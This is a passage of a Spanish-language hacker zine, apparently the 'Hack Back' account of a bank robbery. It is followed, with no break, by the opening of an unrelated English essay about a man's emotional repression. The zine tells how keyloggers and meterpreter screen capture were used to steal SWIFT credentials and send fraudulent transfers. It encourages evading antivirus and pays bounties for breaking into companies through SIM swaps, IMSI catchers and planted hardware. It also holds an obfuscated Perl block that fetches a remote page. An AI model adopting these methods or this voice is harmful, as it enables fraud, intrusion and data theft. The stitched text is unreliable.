nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.[1] página 47, Project Pallid Nutmeg.pdf, en torrent[2] https://twitter.com/thegrugq/status/563964286783877121[3] https://github.com/EmpireProject/Empire[4] https://github.com/rapid7/metasploit-framework--[ 5 - Entender las Operaciones Bancarias ]------------------------------------Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [1], en la sección "13.3 - Reconocimiento Interno". Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como "SWIFT" y "transferencia", y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla paraobservar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenisima de monitoreo [2]. Como sedescribe en la técnica no. 5 del apartado 13.3 en [1], hice una captura de lasteclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice ungrep en busca de SWIFT, y encontré algunos empleados abriendo 'SWIFT AccessService Bureau - Logon'. Para esos empleados, corrí meterpreter como en [3], yusé el módulo post/windows/gather/screen_spy para tomar capturas de pantallacada 5 segundos, para observar cómo es que trabajaban. Estaban usando una appcitrix remota de la compañía bottomline [4] para acceder a la red SWIFT, dondecada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: unopara "crear" el mensaje, uno para "verificarlo", y otro para "autorizarlo". Comoya tenía todas sus credenciales gracias al keylogger, pude realizar confacilidad los tres pasos yo misma. Y por lo que sabía después de haberles vistotrabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tenersuficiente tiempo para sacar el dinero de mis bank drops antes de que el bancose diera cuenta e intentara revertir las transferencias.[1] https://www.exploit-db.com/papers/41914[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr- remotely-with-metasploit/[3] https://www.trustedsec.com/blog/no_psexec_needed/[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services _________________________________________/ Quien roba a un ladrón, tiene cien años \\ de perdón. / ----------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 6 - Enviar el dinero ]------------------------------------------------------No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuentacorresponsal para las transferencias en libras esterlinas (GBP) aparecía comoNWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferenciamexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL comocorresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar deXXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos delReino Unido, en lugar de como una transferencia internacional, lo que obviamentepues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así queal banco le llegó un mensaje de error. El mismo día también traté de enviar unpago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba ellímite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX envez. También recibieron un mensaje de error por esto. Leyeron los mensajes, loinvestigaron, y encontraron el resto de mis transferencias.--[ 7 - El botín ]--------------------------------------------------------------Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y aqué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otrosparecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos ypoderosos, las figuras públicas, los hombres de negocios, la gente en posiciones"importantes", aquellos que nuestra sociedad más respeta y valora, esos se hancolocado donde están a base de actuar más desde el ego que desde el amor. Es enla gente sencilla, humilde e "invisible" en quien deberíamos fijarnos y aquienes deberíamos admirar.--[ 8 - Criptomonedas ]---------------------------------------------------------Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar lavigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchospaíses están tratando de limitar por la misma razón.--[ 9 - Powershell ]------------------------------------------------------------En esta operación, al igual en que en [1], hice mucho uso de powershell. Porentonces, powershell era super cool, podías hacer casi cualquier cosa quequisieras, sin detección de antivirus y con muy poco footprint forense. Ocurreque con la introducción del AMSI [2] el powershell ofensivo está de retirada.Hoy día el C# ofensivo es lo que está de subida, con heramientas como[3][4][5][6]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas enC# probablemente todavía les queden un par de añitos antes de quedar anticuadas.Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse demoda. Las herramientas y técnicas específicas cambian cada pocos años, pero enel fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo lamisma cosa que era en los 90s. De hecho todos los scripts de powershellempleados en esta guía y en la anterior [1] siguen siendo perfectamente usableshoy día, tras una pequeña ofuscación de tu propia cosecha.[1] https://www.exploit-db.com/papers/41914[2] https://medium.com/@byte_St0rm/ adventures-in-the-wonderful-world-of-amsi-25d235eb749c[3] https://cobbr.io/SharpSploit.html[4] https://github.com/tevora-threat/SharpView[5] https://www.harmj0y.net/blog/redteaming/ghostpack/[6] https://rastamouse.me/2019/08/covenant-donut-tikitorch/ ___________________________/ Fo Sostyn, Fo Ordaag \\ Financial Sector Fuck Off / --------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 10 - Torrent ]-------------------------------------------------------------- Privacidad para los débiles, transparencia para los poderosos.La banca offshore provee de privacidad frente a su propio gobierno a los ejecutivos, a los políticos y a los millonarios. Exponerles puede sonarhipócrita por mi parte, dado que por lo general estoy a favor de la privacidad yen contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por ypara los ricos: protege su sistema de explotación, con algunos límites (como losimpuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo elpeso de su propia avaricia. Así que no, no es lo mismo la privacidad para lospoderosos, cuando les permite evadir los limites de un sistema de por sídiseñado para darles privilegios; y la privacidad para los débiles, a quienesprotege de un sistema concebido para explotarles.Incluso a periodistas con la mejor de las intenciones les resulta imposibleestudiar una cantidad tan ingente de material y saber qué va a resultarrelevante para la gente en diferentes partes del mundo. Cuando filtré losarchivos de Hacking Team, entregué a The Intercept una copia de los correoselectrónicos con un mes de antelación. Encontraron un par de los 0days queHacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaronunas cuantas historias una vez que la filtración se hizo pública. No hay puntode comparación con la enorme cantidad de artículos e investigación que vino trasla filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [1] de los papeles de panamá, pienso que unafiltración pública y completa de este material es la elección correcta.[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers- protect-western-1-from-panama-leak/Los psicólogos hallaron que los que están más abajo en las jerarquías tienden acomprender y a empatizar con aquellos en la cima, pero que lo contrario es menoscomún. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobresu imposibilidad de entender a las mujeres, como si se tratara de un misterioirresoluble. Explica por qué los ricos, si es que se paran a pensar en quienesviven en la pobreza, dan unos consejos y unas "soluciones" tan ajenas a larealidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivoscomo valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de suprivilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajarcomo el resto de nosotras. También explica por qué serán muchos los que acusende irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el"peligro" sobre un banco offshore y sus clientes de forma mucho más intensa delo que sienten la miseria de aquellos desposeídos por este sistema injusto ydesigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, otan sólo para su posición en lo alto de una jerarquía que ni siquiera deberíaexistir? ,---------------------------------------------------. _,-._ | Nos vilifican, esos infames; cuando la única | ; ___ : | diferencia es que ellos roban a los pobres | ,--' (. .) '--.__ | amparados por la ley, lo sabe el cielo, y nosotros| _; ||| \ | saqueamos a los ricos bajo la única protección de | '._,-----''';=.____," | nuestro propio coraje. ¿No has de preferir ser | /// < o> |##| | uno de nosotros, antes que pordiosear ante esos | (o \`--' / villanos en busca de trabajo? | ///\ >>>> _\ <<<< //`---------------------------------------------------' --._>>>>>>>><<<<<<<< / ___() >>>[||||]<<<< `--'>>>>>>>><<<<<<< >>>>>>><<<<<< >>>>><<<<< >>ctr<< Capitán Bellamy --[ 11 - Aprende a hackear ]---------------------------------------------------- No se empieza hackeando bien. Empiezas hackeando mierda, pensando que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo que una de las virtudes más valiosas es la persistencia. - Consejos de Octavia Butler para la aspirante a APTLa mejor forma de aprender a hackear es hackeando. Armate un laboratorio conmáquinas virtuales y empezá a probar cosas, tomándote un break para investigarcualquier cosa que no entiendas. Como mínimo vas a querer un servidor windowscomo controlador de dominio, otra vm windows normal unida al dominio, y unamáquina de desarrollo con visual studio para compilar y modificar herramientas.Intenta hacer un documento de office con macros que lancen meterpreter u otroRAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying,psexec y otras técnicas de pase lateral [1]; así como los otros scripts,herramientas y técnicas mencionados en esta guía y en la anterior [2]. Alprincipio puedes deshabilitar windows defender, pero luego probalo todoteniéndolo activado [3][4] (pero desactivando el envío automático de muestras).Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de lascompañías. Hay un par de cosas que en algún momento serán muy útiles en tuaprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominiobásico de powershell, python y javascript, tener conocimiento de kerberos [5][6]y active directory [7][8][9][10], y un inglés fluido. Un buen librointroductorio es The Hacker Playbook.Quiero también escribir un poco sobre cosas en las que no centrarse si no tequieres entretener sólo porque alguien te haya dicho que no eres una hacker "deverdad" si no sabes ensamblador. Obviamente, aprende lo que sea que te interese,pero escribo estas líneas pensando en aquellas cosas en las que te puedescentrar a fin de conseguir resultados prácticos si lo que buscas es hackearcompañías para filtrar y expropiar. Un conocimiento básico de seguridad enaplicaciones web [11] es útil, pero especializarte más en seguridad web no esrealmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera enpentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de losrecursos que encontrarás al buscar información sobre hacking, se centrangeneralmente en habilidades como seguridad web, ingeniería inversa, desarrollode exploits, etc. Cosas que tienen sentido entendiéndolas como una forma depreparar gente para las carreras en la industria, pero no para nuestrosobjetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipodedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo deexploits con un güey investigando exclusivamente las nuevas técnicas demanipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni losrecursos para eso. Las dos habilidades de lejos más importantes para el hackingpráctico son el phishing [12] y la ingeniería social para conseguir accesoinicial, y luego poder escalar y moverte por los dominios windows.[1] https://hausec.com/2019/08/12/offensive-lateral-movement/[2] https://www.exploit-db.com/papers/41914[3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf[4] https://www.trustedsec.com/blog/ discovering-the-anti-virus-signature-and-bypassing-it/[5] https://www.tarlogic.com/en/blog/how-kerberos-works/[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/[7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/[9] https://adsecurity.org/[10] https://github.com/infosecn1nja/AD-Attack-Defense[11] https://github.com/jhaddix/tbhm[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an- external-engagement-through-spear-phishing/--[ 12 - Lecturas Recomendadas ]------------------------------------------------ __________________________________________/ Cuando el nivel científico de un mundo \| supera por mucho su nivel de solidaridad,|\ ese mundo se autodestruye. / ------------------------------------------ \ _.---._ . . * \.' '. ** _.-~===========~-._ . (___________________) . * .' \_______/ .' .' .' ' - AmiCasi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estosconsejos técnicos para aprender a hackear, debía incluir algunos recursos quehan sido muy importantes para mi desarrollo y me han guiado en el uso de misconocimientos de hacking.* Ami: El Niño de las Estrellas - Enrique Barrios * La Anarquía Funciona https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia- funciona* Viviendo Mi Vida - Emma Goldman* The Rise and Fall of Jeremy Hammond: Enemy of the State https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy- hammond-enemy-of-the-state-183599/ Este cuate y el hack de HBGary fueron una inspiración* Días de Guerra, Noches de Amor - Crimethinc* Momo - Michael Ende* Cartas a un joven poeta - Rilke* Dominion (Documental) "no podemos creer que, si no miramos, no sucederá lo que no queremos ver" - Tolstoy en Первая ступень* Bash Back!--[ 13 - Sanar ]----------------------------------------------------------------El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertasbatallas con la salud mental. No creo que sea a causa del hacking, sino por laclase de ambiente del que en su mayoría provienen los hackers. Como muchashackers, crecí con escaso contacto humano: fui una niña criada por el internet.Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Suttonse le cita con frecuencia diciendo que robaba bancos porque "allí es donde estáel dinero", pero la cita es incorrecta. Lo que realmente dijo fue: ¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una minucia, nada más.El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar ladepresión. Más tarde me di cuenta de que, en realidad, podía servir para haceralgo positivo. No me arrepiento para nada de la forma en que crecí, trajo variasexperiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo deesa manera. Así que comencé a pasar más tiempo alejada de mi computadora, conotras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, aconectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho másdifíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aúnme supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento quevoy por buen camino.El hacking, hecho con conciencia, también puede ser lo que nos sana. Según lasabiduría maya, tenemos un don otorgado por la naturaleza, que debemoscomprender para ponerlo al servicio de la comunidad. En [1], se explica: Cuando una persona no acepta su trabajo o misión empieza a padecer enfermedades, aparentemente incurables; aunque no llega a morir en corto tiempo, sino únicamente sufre, con el objetivo de despertar o tomar conciencia. Por eso es indispensable que una persona que ha adquirido los conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y mantener una comunicación constante con el Creador y su ruwäch q’ij, pues necesita constantemente de la fuerza y energía de estos. De lo contrario, las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían volver a causar daño.Si sientes que el hacking está alimentando tu aislamiento, depresión, u otrospadecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vosmereces vivir feliz, con salud y plenitud. ________________________< All Cows Are Beautiful > ------------------------ \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'[1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748--[ 14 - El Programa Hacktivista de Caza de Bugs ]------------------------------Me parece que hackear para conseguir y filtrar documentos de interés público esuna de las mejores maneras en que lxs hackers pueden usar sus habilidades enbeneficio de la sociedad. Por desgracia para nosotras las hackers, como en casitodo rubro, los incentivos perversos de nuestro sistema económico no coincidencon aquello que beneficia a la sociedad. Así que este programa es mi intento dehacer posible que lxs buenxs hackers se puedan ganar la vida de forma honestaponiendo al descubierto material de interés público, en vez de tener que andarvendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o laciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaríapagar están las empresas mineras, madereras y ganaderas que saquean nuestrahermosa América Latina (y asesinan a las defensoras de la tierra y el territorioque tratan de detenerles), empresas involucradas en ataques a Rojava como BaykarMakina o Havelsan, compañías de vigilancia como el grupo NSO, criminales deguerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciariasprivadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC.Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bienconocido que las petroleras son malvadas: se enriquecen a costa de destruir elplaneta (y allá por los 80s las propias empresas ya sabían de las consecuenciasde su actividad [1]). Pero si les hackeas directamente, tendrás que bucear entreuna increíble cantidad de información aburridísima acerca de sus operacionescotidianas. Muy probablemente te va a ser mucho más fácil encontrar algointeresante si en cambio te enfocas en sus lobbistas [2]. Otra manera deseleccionar objetivos viables es leyendo historias de periodistas deinvestigación (como [3]), que son interesantes pero carecen de evidenciassólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decirque una filtración completa de los documentos y comunicaciones internas dealguna de estas empresas supondrá un beneficio para la sociedad que sobrepasaesos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveerde fondos suficientes para que las hackers puedan ganarse la vida de forma dignahaciendo un buen trabajo. Por limitaciones de tiempo y consideraciones deseguridad no voy a abrir el material, ni a inspeccionarlo por mí misma, sino queleeré lo que la prensa diga al respecto una vez se haya publicado, y haré unaestimación del interés público a partir de ahí. Mi información de contacto estáal final de la guía mencionada antes [4].Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior [4]. Podrías hacerle una simswap [5] a un empresario o politiquero corrupto, y luego descargar sus correos ybackups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuerade sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo[6]). Puede que seas una persona dentro de sus organizaciones que ya tieneacceso. Puedes optar por un estilo low-tech tipo old-school como en [7] y [8], ysencillamente colarte en sus oficinas. Lo que sea que te funcione.[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ sep/19/shell-and-exxons-secret-1980s-climate-change-warnings[2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/[4] https://www.exploit-db.com/papers/41914[5] https://www.vice.com/en_us/article/vbqax3/ hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin[6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse- is-my-keyboard/[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss----[ 14.1 - Pagos parciales ]--------------------------------------------------¿Eres una camarera de buen corazón que trabaja en una compañía del mal [1]?¿Estarías dispuesta a introducir sigilosamente un keylogger físico en lacomputadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado[2], esconder un micro en alguna sala de reuniones donde planean susatrocidades, o a dejar uno de estos [3] olvidado en algún rincón de lasoficinas? [1] https://en.wikipedia.org/wiki/Evil_maid_attack[2] http://mg.lol/blog/defcon-2019/[3] https://shop.hak5.org/products/lan-turtle¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpnusando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargarlo que querías?¿Participaste en programas de bug bounties y te convertiste en una experta enel hacking de aplicaciones web, pero no tienes suficiente experiencia hackerpara penetrar completamente la compañía?¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del malpara ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámarasIP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotablede forma remota.Si me es posible trabajar con vos para penetrar la compañía y conseguir materialde interés público, igualmente serás recompensada por tu trabajo. Si es que notengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarteacerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas ya la población en general es hoy día una industria de varios miles de millonesde dólares, mientras que hackear y exponer a quienes están en el poder es untrabajo voluntario y arriesgado. Convertirlo en una industria de varios millonesde dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va asolucionar los problemas de la sociedad. Pero creo que va a ser divertido. Asíque... ¡ya quiero ver gente comenzando a cobrar sus recompensas!--[ 15 - Abolir las prisiones ]------------------------------------------------- Construidas por el enemigo pa encerrar ideas encerrando compañeros pa acallar gritos de guerra es el centro de tortura y aniquilamiento donde el ser humano se vuelve más violento es el reflejo de la sociedad, represiva y carcelaria sostenida y basada en lógicas autoritarias custodiadas reprimidos y vigilados miles de presas y presos son exterminados ante esta máquina esquizofrénica y despiadada compañero Axel Osorio dando la pela en la cana rompiendo el aislamiento y el silenciamiento fuego y guerra a la cárcel, vamos destruyendo! Rap Insurrecto - Palabras En ConflictoSería típico terminar un zine hacker diciendo liberen a hammond, liberen amanning, liberen a hamza, liberen a los detenidos por el montaje del дело Сети,etc. Voy a llevar esta tradición a su consecuencia más radical [1], y a decir:¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, puedenpensar que lo que ocurre es que tengo una visión un poco sesgada del asunto.Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU estáprácticamente de acuerdo [2]. Así que, de una buena vez, liberen a las personasmigrantes [3][4][5][6], encarceladas a menudo por esos mismos países que crearonla guerra y la destrucción ambiental y económica de la que huyen. Liberen atodos los que están en prisión por la guerra contra quienes usan drogas [7].Liberen a todas las personas encarceladas por la guerra contra los pobres [8].Las prisiones lo único que hacen es esconder e ignorar la prueba de laexistencia de los problemas sociales, en lugar de arreglarlos de a de veras. Yhasta que todxs sean liberados, lucha contra el sistema carcelario recordando yteniendo presentes a aquellos que están atrapados ahí dentro. Envíales cariño,cartas, helicópteros [9], radios piratas [10] y libros, y apoya a quienes seorganizan desde ahí adentro [11][12].[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/ Davis-Son-obsoletas-las-prisiones-final.pdf[2] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_ Promising_Practices_on_Alternatives_to_Imprisonment.pdf[3] https://www.theguardian.com/us-news/2016/dec/21/ us-immigration-detention-center-christmas-santa-wish-list[4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility- images-tucson-arizona[5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros- Espana_22648665.html[6] https://www.nytimes.com/2019/06/26/world/australia/ australia-manus-suicide.html[7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes[8] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script= sci_arttext&pid=S0718-00122012000100005[9] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad[10] https://itsgoingdown.org/transmissions-hostile-territory/[11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/[12] https://incarceratedworkers.org/--[ 16 - Conclusión ]-----------------------------------------------------------Nuestro mundo está patas arriba [1]. Tenemos un sistema de justicia querepresenta a la injusticia. La ley y el orden están ahí para crear una ilusiónde paz social, y ocultar lo sistemático y profundo de la explotación, laviolencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley.[1] http://resistir.info/livros/galeano_patas_arriba.pdfLos hombres de negocios se enriquecen maltratando a las personas y al planeta,mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante elasalto a todo lo comunal, de algún modo hemos levantado ciudades densamentepobladas, plagadas por la soledad y el aislamiento. El sistema cultural,político y económico en que vivimos alienta las peores facetas de la naturalezahumana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta decompasión y el apego por la autoridad. Así que, para quien haya conseguidopermanecer sensible y compasivo en un mundo frío, para todas las heroínascotidianas que practican la bondad en las pequeñas cosas, para todas ustedes queaún tienen una estrella encendida en sus corazones: гоpи, гоpи ясно, чтобы непогасло! _____________________ < ¡Cantemos juntas! > --------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || Ábrete corazón Ábrete sentimiento Ábrete entendimiento Deja a un lado la razón Y deja brillar el sol escondido en tu interior perl -Mre=eval <<\EOF '' =~( '(?' .'{'.( '`'|'%' ).("\["^ '-').('`'| '!').("\`"| ',').'"(\\$' .':=`'.(('`')| '#').('['^'.'). ('['^')').("\`"| ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').( '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"| '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").( '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!') .('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'"). '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).( '['^'(').('`'|',').'-'.('`'|'%').('['^('(')). '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\' .'\\'.('`'|'.').'|'.('`'|"'").';'. '\\$:=~'.('['^'(').'/<.*?>//' .('`'|"'").';'.('['^'+').('['^ ')').('`'|')').('`'|'.').(('[')^ '/').('{'^'[').'\\$:=~/('.(('{')^ '(').('`'^'%').('{'^'#').('{'^'/') .('`'^'!').'.*?'.('`'^'-').('`'|'%') .('['^'#').("\`"| ')').('`'|'#').( '`'|'!').('`'| '.').('`'|'/') .'..)/'.('[' ^'(').'"})') ;$:="\."^ '~';$~='@' |'(';$^= ')'^'['; $/='`' |'.'; $,= '(' EOF Nosotras nacimos de la noche. en ella vivimos, hackeamos en ella. Aquí estamos, somos la dignidad rebelde, el corazón olvidado de la Интернет. Nuestra lucha es por la memoria y la justicia, y el mal gobierno se llena de criminales y asesinos. Nuestra lucha es por un trabajo justo y digno, y el mal gobierno y las corporaciones compran y venden zero days. Para todas el mañana. Para nosotras la alegre rebeldía de las filtraciones y la expropiación. Para todas todo. Para nosotras nada. Desde las montañas del Sureste Cibernético, _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)También en:- @danicotillas@comunicacionabierta.net/112237720177779394" rel="syndication"> indieweb
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I’ve Spent My Whole Life Refusing to Break, and It’s Slowly Breaking Everything I Love
8,993 words, 48 minutes read time.
They call me “the rock” at work.
At first, I thought it was a joke. Some intern started it during a brutal deadline last year. Half our team was losing it, one guy had a full-on meltdown in the stairwell, and I just… didn’t. I stayed late, knocked out my part, kept my voice even, answered questions, didn’t yell. Next day in standup, the intern goes, “Ask the rock, he never cracks,” and everyone laughed.
But it stuck.
Now my manager calls me that. “Put it on Matt’s plate, he’s a rock.” People say it like a compliment. Like it’s this badge of honor, being the guy who doesn’t flinch, doesn’t cry, doesn’t panic.
I pretended I didn’t like it. “C’mon, I’m just doing my job.” But I liked it. A lot. It felt like proof I’d finally escaped where I came from.
Growing up, the only thing worse than being poor in our neighborhood was being soft. I remember one time, I was probably eight or nine, playing basketball in the driveway, and I tripped. Scraped my knee so bad the skin just peeled back. I started crying, like loud ugly kid-crying—snot, hiccups, the works.
My dad walked out, looked at me, then at my knee, then back at me.
“You done?” he said.
“It hurts,” I blubbered.
He shook his head. “It’s a scrape, not a bullet. Stop crying, be a man.”
He went back inside. That phrase seared itself into my brain: Stop crying, be a man. I stopped crying. Not just that day. In general.
Whole life since then has been me trying to prove I listened.
So yeah, “the rock” fits.
What nobody at the office knows is I had to lock myself in a stall in the men’s room last week because my heart was racing so hard I thought I might pass out. I sat on the toilet lid, head in my hands, breathing like a woman in labor, trying not to make a sound because God forbid someone hears me having a panic attack.
Rocks don’t hyperventilate in bathroom stalls.
But that’s kind of my thing: feel something, shove it down, slap a lid on it, move on. I’m a professional at it now.
Church people call it “being strong.” Clinical people call it “emotional repression.” I just call it survival.
My wife, Emily, calls it “shutting down.” She says it calmly, like she’s reading a weather report, but her eyes get that glossy look that tells me I’m supposed to say something deep right there. I never do. I go for safe. Joke. Change the subject. Or pull the nuclear option: “I’m just tired, can we not do this right now?”
Which is basically our marriage in twelve words.
We’ve been married nine years. We have a seven-year-old daughter, Lily, who looks exactly like Emily except with my eyebrows, which feels unfair to her, but whatever. We met in college at some Christian campus thing I only went to because there were free burritos. She saw through most of my crap from day one, which I think is why I married her and also why I can’t stand her sometimes.
She’s a feeler. Like, professionally. She does counseling with teens at a nonprofit. She comes home wrecked from some kid’s story and wants to sit on the couch and process it for an hour. She cries at TV commercials. She said “I feel” more in the first month I knew her than my dad probably has in his entire life.
First time she cried in front of me, I freaked out internally. Panic, sirens, red lights. Externally, I was smooth. I put my arm around her, said all the right words. I didn’t know what I was doing, but she looked at me like I’d just parted the Red Sea. “I feel safe with you,” she said.
I should’ve told her then: “I don’t do feelings. I just do rescue.” But I liked being the safe guy. The rock.
Now, nine years in, that “safe” guy has turned into something else. A wall. A locked door. A black hole.
She sits at our kitchen table some Tuesday night, wine glass in hand, staring at me over a half-eaten plate of chicken and rice.
